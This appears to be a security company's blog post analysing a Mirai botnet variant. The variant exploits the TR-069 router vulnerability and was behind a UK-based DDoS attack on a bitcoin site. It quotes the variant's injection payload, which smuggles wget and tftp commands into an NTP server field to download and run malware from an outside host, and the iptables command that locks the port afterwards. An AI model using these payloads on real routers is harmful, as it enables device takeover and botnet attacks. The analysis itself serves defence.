It’s been over two months since Mirai source code was leaked on the HackForum, placing it into the hands of botnet herders around the world. What followed was a stream of reports about high-profile Mirai-powered DDoS attacks—including the takedown of Dyn DNS services. That one brought down many of the world’s most popular websites and services—Netflix, Twitter and Reddit among many.

Most recently, Mirai caused the mass shutdown of Deutsche Telekom routers, reportedly affecting over 900,000 DT customers. Having evolved from the original malware, here a Mirai variant was used to exploit a newly discovered TR-069 protocol vulnerability (EDB-ID:40740) to hijack network routers.

Following the assault, DT issued an emergency patch that hopefully solved the issue for the majority of its customers. Just a few days later, however, we found ourselves face-to-face with a similar router-based Mirai botnet, this time operating out of UK.

The record of this attack underlines the fact that the new TR-069 vulnerability, and the malware variants that exploit it, pose threat to customers of ISPs around the world.

Mirai and the TR-069 Vulnerability

TR-069 (a.k.a., CPE WAN Management Protocol, or CWMP) is a widely used protocol many ISPs employ to remotely manage network routers. Its communication occurs on port 7547, to which remote commands are sent. One such command is Time/SetNTPServers, used to synchronize a router with an external time source.

However, this same command can also be modified to let hackers remotely execute bash commands. Among other things, this enables them to:

Open port 80 for remote access.

Obtain Wi-Fi passwords.

Modify the iptable rules.

Inject malware into the device.

A few weeks after the tr-069 vulnerability was made public, cyber journalists at BadCyber documented an even newer Mirai variant that was downloading itself into routers using wget and tftp commands.

cd /tmp;wget http://l.ocalhost.host/x.sh;chmod 777 x.sh;./x.sh <NewNTPServer1>`cd /tmp;tftp -l 3 -r 1 -g l.ocalhost.host;chmod 777 3;./3`</NewNTPServer1> <NewNTPServer1>`cd /tmp;wget http://l.ocalhost.host/1;chmod 777 1;./1`</NewNTPServer1>

Source: BadCyber

Like the legacy Mirai malware, this variant is also programmed to “close the door” after injecting itself into a device. To do so, it runs the following command, making port 7547 unavailable until the next reboot.

busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP busybox killall -9 telnetd

Source: BadCyber

At that time of the discovery, over five million devices made their TR-069 interface available to the outside world. Serendipitously, the study was published the same day DT routers started to go down.

Meanwhile in the UK…

As DT was recovering from its Mirai encounter, on December 5th a UK-based bitcoin company website using the Incapsula service was hit with a slew of GET and POST flood attacks. These continue at this moment.

Figure 1: HTTP flood, peaking at 8,674 RPS

The attack peaked at over 8,600 RPS (requests per second). It then scaled back to a steady flow of 200 –1000 RPS, directed toward two specific pages on our client’s website.

The offenders’ persistence, as well as its choice of targets, shows this to be a premeditated offensive—not the typical random burst launched from a rented DDoS-for-hire service.

Figure 2: One of the attacking bots, running on BusyBox

The assault was executed by DDoS bots running on BusyBox, using “Anus” as their user-agent of choice. We’re unsure why the attackers chose this specific moniker, but some stones are better left unturned.

Infinitely more interesting was the botnet devices’ geolocation. As seen in the image below, all of the 2,398 attacking IPs were located in the UK.

Figure 3: Geolocations of the botnet devices

This kind of IP distribution is uncommon for DDoS botnets. Typically it indicates a vulnerability in a device supplied by local retailers, which allows for such a regional botnet to appear.

In this case, a quick scan revealed a horde of malware-infected home routers, over 99 percent of which belonged to the TalkTalk Telecom network. So we had our device and our distributor.

But a question remained: How were these routers compromised?

We almost ruled out TR-069, as none of the random IP scans found any devices with an open 7547 port. However, when we fed the same addresses into Shodan, we discovered that these ports had been open until a few days ago.

This provided us not only with the smoking gun, but also with the possible identify of the culprit. Returning to the MO described in BadCyber’s post, this was a sign of the same Mirai variant nesting itself in the device and then shutting the door behind itself.

Figure 4: Shodan’s cache shows the port open on November 30

Figure 5: Our scan shows the port closed on December 6

ISPs’s Responsibilities

Without full access to the infected routers, it’s difficult to know with certainty whether the malware used to execute this attack was the same Mirai variant used against Deutsche Telekom or the one encountered by the BadCyber researchers.

That said, every minor source code modification breeds a new Mirai “mutation,” making these nuances almost beside the point. What’s important to note is that these attacks are enabled by the same vulnerability in ISP distributed routers.

We hope that the accumulated reports of the attacks will serve as a wakeup call for ISPs using routers susceptible to the vulnerability in the TR-069 protocol.

With variants of Mirai already leveraging the exploit for large-scale attacks, it’s time for ISPs to proactively assume responsibility and issue emergency patches. Doing so will not only protect the privacy of their customers but also prevent their routers from falling into the hands of botnet operators, who would use them to endanger the internet ecosystem.

Update:

Not long after this story was written, TalkTalk became aware of the situation and issued a fix for the vulnerability that closes the TR-069 interface and resets the router.

In the following days we saw the number of attacking IPs decrease until only 259 devices were participating in the attack.

We encourage other ISPs to follow suit.